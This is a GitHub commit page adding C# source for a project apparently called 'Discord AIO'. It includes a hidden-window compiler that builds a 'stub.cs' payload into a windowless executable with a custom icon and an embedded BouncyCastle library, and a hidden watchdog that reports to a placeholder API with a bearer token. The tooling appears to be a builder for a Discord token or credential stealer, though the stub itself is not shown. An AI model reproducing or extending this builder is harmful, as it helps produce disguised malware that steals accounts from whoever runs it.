-
Notifications
You must be signed in to change notification settings - Fork 46
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
f05c5dc
commit 2085df6
Showing
15 changed files
with
1,976 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
using System; | ||
using System.Collections.Generic; | ||
using System.Configuration; | ||
using System.Data; | ||
using System.Linq; | ||
using System.Net.Http.Headers; | ||
using System.Net.Http; | ||
using System.Threading.Tasks; | ||
using System.Windows; | ||
|
||
namespace discord_aio_release | ||
{ | ||
/// <summary> | ||
/// Interaction logic for App.xaml | ||
/// </summary> | ||
public partial class App : Application | ||
{ | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
using System; | ||
using System.Collections.Generic; | ||
using System.Linq; | ||
using System.Threading.Tasks; | ||
using System.Windows.Forms; | ||
|
||
namespace aiocompiler | ||
{ | ||
internal static class Program | ||
{ | ||
[STAThread] | ||
static void Main(string[] args) | ||
{ | ||
Application.EnableVisualStyles(); | ||
Application.SetCompatibleTextRenderingDefault(false); | ||
Application.Run(new daioCompiler(args)); | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,89 @@ | ||
using Microsoft.CodeAnalysis; | ||
using Microsoft.CodeAnalysis.CSharp; | ||
using Microsoft.CSharp; | ||
using System; | ||
using System.CodeDom.Compiler; | ||
using System.Collections.Generic; | ||
using System.Globalization; | ||
using System.IO; | ||
using System.Net.Http; | ||
using System.Net.Http.Headers; | ||
using System.Windows.Forms; | ||
|
||
namespace aiocompiler | ||
{ | ||
public partial class daioCompiler : Form | ||
{ | ||
private string _TK { get; set; } | ||
private string _DP { get; set; } | ||
|
||
public daioCompiler(string[] args) | ||
{ | ||
InitializeComponent(); | ||
Opacity = 0; | ||
Visible = false; | ||
_TK = args[0]; | ||
_DP = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Discord AIO"); | ||
Compile(args[1], args[2]); | ||
} | ||
|
||
private async void Compile(string output, string icon) | ||
{ | ||
try | ||
{ | ||
string stubPath = Path.Combine(_DP, "stub.cs"); | ||
if (!File.Exists(stubPath)) | ||
{ | ||
MessageBox.Show("No stub found."); | ||
Environment.Exit(0); | ||
} | ||
|
||
string code = File.ReadAllText(stubPath); | ||
string compileOptions = "/target:winexe /platform:anycpu /optimize"; | ||
|
||
if (icon != "none") | ||
{ | ||
compileOptions = compileOptions + " /win32icon:\"" + icon + "\""; | ||
} | ||
|
||
CodeDomProvider objCodeCompiler = new Microsoft.CodeDom.Providers.DotNetCompilerPlatform.CSharpCodeProvider(); | ||
|
||
var parameters = new CompilerParameters() | ||
{ | ||
GenerateExecutable = true, | ||
GenerateInMemory = false, | ||
OutputAssembly = output, | ||
CompilerOptions = compileOptions, | ||
TreatWarningsAsErrors = false, | ||
IncludeDebugInformation = false | ||
}; | ||
string[] referencedAssemblies = { | ||
"System.dll", "System.Net.dll", "System.Windows.Forms.dll", | ||
"System.Linq.dll", "System.IO.dll", | ||
"System.Collections.dll", "System.Core.dll", "System.Security.dll", | ||
"System.Net.Http.dll", "System.Threading.dll", _DP + "\\BouncyCastle.Crypto.dll" | ||
}; | ||
|
||
parameters.ReferencedAssemblies.AddRange(referencedAssemblies); | ||
parameters.EmbeddedResources.Add(Path.Combine(_DP, "BouncyCastle.Crypto.dll")); | ||
|
||
CompilerResults compResults = objCodeCompiler.CompileAssemblyFromSource(parameters, code); | ||
if (compResults.Errors.HasErrors) | ||
{ | ||
MessageBox.Show(string.Format("The compiler has encountered {0} errors", compResults.Errors.Count), "Errors while compiling", MessageBoxButtons.OK, MessageBoxIcon.Hand); | ||
} | ||
else | ||
{ | ||
using (HttpClient c = new HttpClient()) | ||
{ | ||
c.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("Bearer", _TK); | ||
var response = await c.PostAsync("APIURL", null); | ||
} | ||
MessageBox.Show("Compiled."); | ||
} | ||
Environment.Exit(0); | ||
} | ||
catch {} | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,48 @@ | ||
using System; | ||
using System.Collections.Generic; | ||
using System.ComponentModel; | ||
using System.Data; | ||
using System.Drawing; | ||
using System.Linq; | ||
using System.Text; | ||
using System.Threading.Tasks; | ||
using System.Windows.Forms; | ||
using System.Timers; | ||
using System.Diagnostics; | ||
using System.Net.Http; | ||
using System.Net.Http.Headers; | ||
|
||
namespace daioHandler | ||
{ | ||
public partial class daioHandler : Form | ||
{ | ||
private protected string _TK {get; set;} | ||
public daioHandler(string[] args) | ||
{ | ||
InitializeComponent(); | ||
this.Opacity = 0; | ||
this.Visible = false; | ||
_TK = args[0]; | ||
Start(); | ||
} | ||
|
||
private void Start() | ||
{ | ||
var timer = new System.Timers.Timer(60000); | ||
timer.Elapsed += Tick; | ||
timer.Start(); | ||
System.Threading.Thread.Sleep(System.Threading.Timeout.Infinite); | ||
} | ||
|
||
private async void Tick(Object source, ElapsedEventArgs e) | ||
{ | ||
var processes = Process.GetProcessesByName("Discord AIO"); | ||
if (!(processes.Length > 0)) { | ||
HttpClient c = new HttpClient(); | ||
c.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("Bearer", _TK); | ||
var response = await c.PostAsync("APIURL", null); | ||
Environment.Exit(0); | ||
} | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
using System; | ||
using System.Collections.Generic; | ||
using System.Linq; | ||
using System.Threading.Tasks; | ||
using System.Windows.Forms; | ||
|
||
namespace daioHandler | ||
{ | ||
internal static class Program | ||
{ | ||
/// <summary> | ||
/// Główny punkt wejścia dla aplikacji. | ||
/// </summary> | ||
[STAThread] | ||
static void Main(string[] args) | ||
{ | ||
Application.EnableVisualStyles(); | ||
Application.SetCompatibleTextRenderingDefault(false); | ||
Application.Run(new daioHandler(args)); | ||
} | ||
} | ||
} |
Oops, something went wrong.